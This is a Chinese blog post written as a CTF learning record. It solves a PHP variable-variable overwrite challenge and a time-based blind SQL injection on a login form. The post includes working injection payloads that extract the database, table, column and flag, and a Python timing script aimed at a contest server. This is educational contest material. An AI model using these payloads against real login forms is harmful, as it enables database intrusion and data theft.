ctf web方向与php学习记录33

一,弱类型变量

1概述

这道题来自[新年快乐也不能忘记学习杯]弱类型变量,一场四校联合举办的ctf。是一道较为简单的弱类型变量。

2源码

  <?php
highlight_file(__FILE__);
$_200='yooo~';
$_404='Nooo~';
include ("flag.php");
if($_SERVER["REQUEST_METHOD"]!='POST')
{
    die("WTF? Did you see the code?");
}
if(!isset($_POST['ynpc']))
{
    die("come on");
}
foreach ($_GET as $key => $value) {
    $$key=$value;
}
foreach ($_POST as $key => $value) {
    $$key=$value;
}
var_dump($_POST['ynpc']);
if($_POST['ynpc'] === $hhhh)
{
    echo $flag;
}
die($_200);
?> WTF? Did you see the code?

3解析

在这里插入图片描述采用我的思路解的话,playoad如下
url?=_200=$hhhh(GET)
hhhh=a&ynpc=a(POST)

4分析

解析来源于做题时候的总结,这里着重分析一下官方wp给出的playload。
url?hhhh=11(GET)
ynpc=11(POST)
其实之所以可以这样做的原因是来源于

foreach ($_GET as $key => $value) {
    $$key=$value;
}

这段代码。
其中$$key=$value;所以GET方式的实际传参为$hhhh=11,而像网上一道相类似的题目中

$$key=$$value;

会使得传参变量覆盖,而本题并没有使用变量覆盖的方法将flag传递后输出,所以解析中的方法url?=_200=$hhhh这一步有些多次一举了。(后去尝试了一下POST hhhh=a&ynpc=a 同样可以的,额,其实不用测试也可以知道的)

二,时间注入

1概述

这道题同样来自[新年快乐也不能忘记学习杯],叫fishing,明显的提示是钓鱼网站。做题的时候实在没想到是注入,因为扫出来的login.php是空白页,然后登录页面首先展示的是二维码登录,便没有继续关注了。
在这里插入图片描述

2解析

(根据官方的wp,eken)可以sql一把梭而且没有任何过滤,就应该也可以手注,那么身为小白的我,自然肯定不会放弃这次时间盲注的实践机会(毕竟ctfhub上的时间盲注是直接sqlmap做的,手动滑稽)。

(1)sqlmap解法

好像还要设置headers(主要是sqlmap没学到位),没有去研究,如果有看来博客大佬能把帮忙在评论区回复一下吗?
问题:如何使用sqlmap对一下内容进行注入(POST方式的嵌入式注入)?
在这里插入图片描述

(2)手注

下面是手注的playload,这里当然不会一个一个的去尝试啦~~

u=12341234' and if(length(database())>1,sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95    (判断数据库长度为10)
u=12341234' and if(ascii(substr(database(),1,1))>1,sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆库)
u=12341234' and if((ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆表)
u=12341234' and if((ascii(substr((select column_name from information_schema.columns where table_name='fl44444g' and table_schema='challenges' limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆字段)
u=12341234' and if((ascii(substr((select flag from fl44444g limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆字符串)

(下方爆字符串小剧场)
在这里插入图片描述
在使用playload之前需要使用bp进行验证,可以直接用爆库长的playload进行验证。
在这里插入图片描述可以看见右下角的3,027很显然,注入成功。
下面就附上本次注入的脚本——就附上爆库名的吧。(这里要说明一下,脚本采用的是post data格式的,为不是get ?参数的格式)

#python3
def database_name(num):
    name = ''
    headers = {'Host': '106.54.24.23:20004',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Accept-Encoding': 'gzip,deflate',
               'Content-Type': 'application/x-www-form-urlencoded',
               'Content-Length': '105',
               'Origin': 'http://106.54.24.23:20004',
               'Connection': 'close',
               'Referer': 'http://106.54.24.23:20004/login.html',
               'Cookie': 'session=e524499c-5f1c-4acd-a0a4-ee32236237ce.bXFJvIi_LSncbB8fI50fgYTVQQY;__aegis_uid=1613943549030-8023',
               'Upgrade-Insecure-Requests': '1'
               }
    url = 'http://106.54.24.23:20004/login.php'
    for j in range(1,num+1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz_?><':
            data = ["u=12341234'%20and%20if(ascii(substr(database(),",str(j),",1))%3d", str(ord(i)),
                    ",sleep(3),1)%20and%20'&p=123123&button=%E7%99%BB+%E5%BD%95"]
            data = ''.join(data)
            time1 = datetime.datetime.now()
            r = requests.post(url,headers=headers,data=data)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 3:
                name += i
                print(name)
                break
    print('database_name:', name)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值